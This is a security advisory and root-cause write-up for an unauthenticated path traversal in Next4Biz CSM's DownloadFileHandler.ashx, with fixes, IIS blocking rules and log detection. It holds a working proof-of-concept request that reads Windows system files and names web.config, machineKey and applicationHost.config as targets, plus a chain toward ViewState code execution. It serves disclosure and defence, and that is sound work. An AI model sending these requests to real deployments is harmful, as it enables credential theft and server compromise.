#Summary
CVE-2026-6377 is an unauthenticated path traversal in Next4Biz CSM, the customer service management product built by Next4Biz Bilgi Teknolojileri A.S. A single GET request to /Handlers/DownloadFileHandler.ashx carrying an absolute Windows path in the file parameter returns the contents of that file. No session, no cookie, no user interaction. The issue is classified CWE-22 and scores CVSS 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).
Two independent defects line up to produce it. The file branch of the handler runs before any authorisation check, and the path helper it calls never confirms that the path it built is still inside the upload directory. Four separate steps in that helper look like sanitisation and none of them constrain the input that matters.
#Am I affected?
- Affected: Next4Biz CSM, confirmed on
6.8.9. The vendor has not published the full affected version range. - Patched: the coordinating body published the advisory after vendor remediation. Ask Next4Biz for the fixed build number for your deployment.
- Default configuration: affected.
DownloadFileHandler.ashxships enabled and the vulnerable branch needs no configuration to reach. - Access needed: network access to the application, nothing more. No credentials, no session cookie, no user interaction, no knowledge of an existing file id.
#How to check
Ask the application for a file that exists on every Windows host and lives nowhere near the upload directory:
curl -si 'https://target.example/Handlers/DownloadFileHandler.ashx?file=C:\Windows\win.ini'| Result | Verdict |
|---|---|
200 OK and the body contains [fonts] or [extensions] |
vulnerable |
302 to the login page, 401, 403, or an empty body |
not reachable through this path |
Run it with no cookies at all. Testing from a browser tab where you are already logged in hides the entire point of this bug: the response is identical without a session, and that is what turns a file download feature into a pre-auth arbitrary read.
#Fix and mitigation
Fix: apply the vendor update for your build. The corrected helper has to resolve the combined path and verify it stays under the upload root, and the
filebranch has to check the caller the way theqFilebranch already does.If you cannot patch yet: reject the request before it reaches the handler. At the reverse proxy or WAF, deny any request to
DownloadFileHandler.ashxwhosefileparameter contains a colon, a backslash, or a dot segment. On IIS, a URL Rewrite rule works:
<rule name="block-cve-2026-6377" stopProcessing="true">
<match url="(?i)Handlers/DownloadFileHandler\.ashx" />
<conditions>
<add input="{QUERY_STRING}" pattern="(?i)file=[^&]*(%3A|:|\.\.|%2e%2e|\\|%5c)" />
</conditions>
<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule> Blocking the file parameter outright is safer still if your users only download through the qFile path. Verify that before you ship it.
- Detection: every exploitation attempt is a plain GET and lands in the IIS log with its query string intact. Look for a drive letter or a dot segment inside the parameter:
Select-String -Path C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log -Pattern 'DownloadFileHandler\.ashx' |
Where-Object { $_.Line -match 'file=[^&\s]*(%3A|:|%2e%2e|\.\.)' } A legitimate download never needs a colon or a .. in that parameter, so hits here are worth treating as confirmed attempts rather than noise. Match on the encoded forms as well as the literal ones.
#Root cause analysis
Two files carry the whole issue:
| File | Class | Method |
|---|---|---|
DownloadFileHandler.ashx |
DownloadFileHandler |
ProcessRequest() |
Formalis.WebBase.dll |
ServerRocks |
GetUploadedPath(server, path) |
#The file branch never asks who is calling
DownloadFileHandler.ProcessRequest() dispatches on which query parameter it was given. The qFile branch is guarded, and the guard is not trivial. Decompiled, it checks three things:
else if (
!(context.Request.UrlReferrer != null)
|| !UrlReferrer.AbsolutePath.Contains("IssueDetail.aspx")
|| this.CurrentUser.CheckApplicationFunction(EnumFunction.FileDownload)
|| !(this.CurrentUser.UserID.ToString() != this.CreatedUserID)
)A referrer that has to come from the issue detail page, a per-user application function for file download, and an ownership comparison between the caller and the record that created the file. Someone thought about authorisation here.
The file branch has none of it:
public void ProcessRequest(HttpContext context)
{
else if (...)
{
if (QueryString["file"] != null)
{
string path = QueryString["file"];
string uploadedPath = server.GetUploadedPath(path);
response.WriteFile(uploadedPath);
}
}
}No CurrentUser, no Session["User"], no permission lookup. Query string to helper to WriteFile, in three statements. Whatever path comes back is streamed to whoever asked.
That asymmetry is the interesting part of this bug. The protection was written, tested and shipped. It just guards one of the two doors into the same file read.
#GetUploadedPath() never constrains the result
ServerRocks.GetUploadedPath(HttpServerUtility, string) in Formalis.WebBase.dll is the helper the branch calls. It runs four steps, and each one looks like a control until you supply an absolute path.
Step 1, resolve the root.
string rootPath = server.GetUploadedPath();
// rootPath = "C:\inetpub\wwwroot\Uploaded"Step 2, strip the root if the caller already included it.
if (path.IndexOf(rootPath, StringComparison.OrdinalIgnoreCase) != -1)
path = path.Replace(rootPath, "");This only fires when the input contains the root as a substring. An absolute path pointing at C:\Windows does not, so the step is a no-op for exactly the input that matters.
Step 3, trim leading separators.
path = path.TrimStart(new char[] { '/', '\\' });Only / and \ are in the set. A drive letter is untouched, because C is not a separator. A leading . is untouched for the same reason. This is the step that would have stopped the attack if it had normalised instead of trimmed.
Step 4, combine and return.
string ret = Path.Combine(rootPath, path);
return ret;No Path.GetFullPath(), so .. segments are never resolved. No comparison against rootPath, so nothing checks the answer. The function returns a path it has never validated, to a caller that has never authenticated anyone.
#Path.Combine discards the root when the second argument is rooted
The fourth step is where the input finally wins, and it wins on documented .NET behaviour rather than on a parsing trick:
Path.Combine(@"C:\inetpub\wwwroot\Uploaded", @"C:\Windows\System32\drivers\etc\hosts")
// => "C:\Windows\System32\drivers\etc\hosts"When the second argument is an absolute path, Path.Combine returns it unchanged and drops the first argument entirely. The upload root is not a prefix, not a boundary and not a fallback. It is a default that any rooted input replaces.
Follow one request through all four steps:
user input : "C:\Windows\System32\drivers\etc\hosts"
after step 2 : unchanged (input does not contain rootPath)
after step 3 : unchanged (C is not / or \)
after step 4 : "C:\Windows\System32\drivers\etc\hosts" (rootPath discarded)
WriteFile : contents streamed to the clientThe absolute path is the vector demonstrated below, and it is the cleanest one. It is worth noting that the missing GetFullPath call leaves relative traversal equally unconstrained by this code: nothing in the helper resolves or rejects a .. segment, so ..\..\..\Windows\win.ini survives step 3 with its dots intact and reaches Path.Combine as a relative path.
#Why four controls failed together
Read as a list, the root causes are all the same mistake at different altitudes:
| # | Cause | Location |
|---|---|---|
| 1 | The file branch performs no authorisation check |
ProcessRequest() |
| 2 | TrimStart handles separators only, not drive letters or dot segments |
GetUploadedPath() |
| 3 | Path.Combine drops the root when the second argument is rooted |
GetUploadedPath() |
| 4 | Path.GetFullPath() is never called on the combined path |
GetUploadedPath() |
| 5 | The result is never compared against the upload root | GetUploadedPath() |
Steps 2 and 3 of the helper are string operations standing in for a containment check. String operations cannot do that job: the only reliable test is to resolve the final path and compare it to the root you intended, which is exactly the step that is missing.
#Proof of concept
One request, no headers beyond Host, no cookies:
GET /Handlers/DownloadFileHandler.ashx?file=C:\Windows\System32\drivers\etc\hosts HTTP/1.1
Host: target.exampleHTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=hosts
Content-Length: 935
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
[...]The same request shape reads anything else the worker process can open. Three files were confirmed during the assessment:
| Target | Why it matters |
|---|---|
C:\Windows\win.ini |
harmless existence check, the safest way to confirm the bug |
C:\Windows\System32\drivers\etc\hosts |
confirms the read reaches outside the web root |
C:\Windows\System32\inetsrv\config\applicationHost.config |
IIS configuration, including configured application pool identities |
The third one is the one to think about during triage, and the reason is in the next section.
#Exploitation notes
#Preconditions
Network reachability to the application. That is the whole list. The vulnerable branch answers before authentication, so the exposure of an install is exactly its reachability: an internet-facing CSM portal is exploitable by anyone who can resolve its hostname, and an internal one by anyone on the network.
#Reliability
Deterministic. There is no race, no memory corruption, no timing window and no version-dependent offset. The same request returns the same file every time. The only variable is whether the IIS application pool identity has read permission on the requested path, which is a property of the target's file system rather than of the exploit.
#Impact
The read is bounded by the worker process identity, and on a default IIS deployment that boundary still contains everything worth taking:
web.configof the application, which normally holds database connection strings and themachineKeyapplicationHost.config, which holds the configured application pool identities- Handler and page source, plus compiled assemblies under the application directory, which is how an attacker turns a black-box target into the white-box view this analysis was written from
- Uploaded customer files, which in a customer service product means other tenants' attachments
The machineKey deserves its own sentence. With the validation and decryption keys in hand, an attacker can forge a __VIEWSTATE payload that the application will deserialise, and ASP.NET ViewState deserialisation is a well documented route from disclosed keys to code execution on the server. The CVSS vector keeps I:N/A:N because this vulnerability itself only reads, and that is the correct scoring. It is not a good triage decision. A pre-auth read of the application's own configuration is the first link in a chain, not the end of one, and it should be treated as urgent on that basis rather than on its base score.
S:C in the vector reflects the same idea from the other direction: the impact crosses out of the web application's own scope and into the operating system's.
#Chaining
Configuration disclosure to key material to ViewState deserialisation is the shortest path, and it needs no second vulnerability. Short of that, source disclosure of the application's own handlers turns every subsequent test against the product into white-box work, and the credentials that tend to sit in a CSM deployment's connection strings and integration settings frequently unlock systems that have nothing to do with the CSM.
#Timeline
| Date | Event |
|---|---|
| 2026-02-27 | Technical analysis completed and reported |
| 2026-09-07 | CVE-2026-6377 published, Siber Guvenlik Baskanligi advisory tr-26-1027 |
| 2026-09-07 | This write-up published |
Disclosure was coordinated through the Turkish national product security coordination process, and this write-up follows the publication of the advisory.
#References
- CVE record: CVE-2026-6377
- NVD: nvd.nist.gov/vuln/detail/CVE-2026-6377
- Siber Guvenlik Baskanligi advisory: tr-26-1027
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- Vendor: next4biz.com
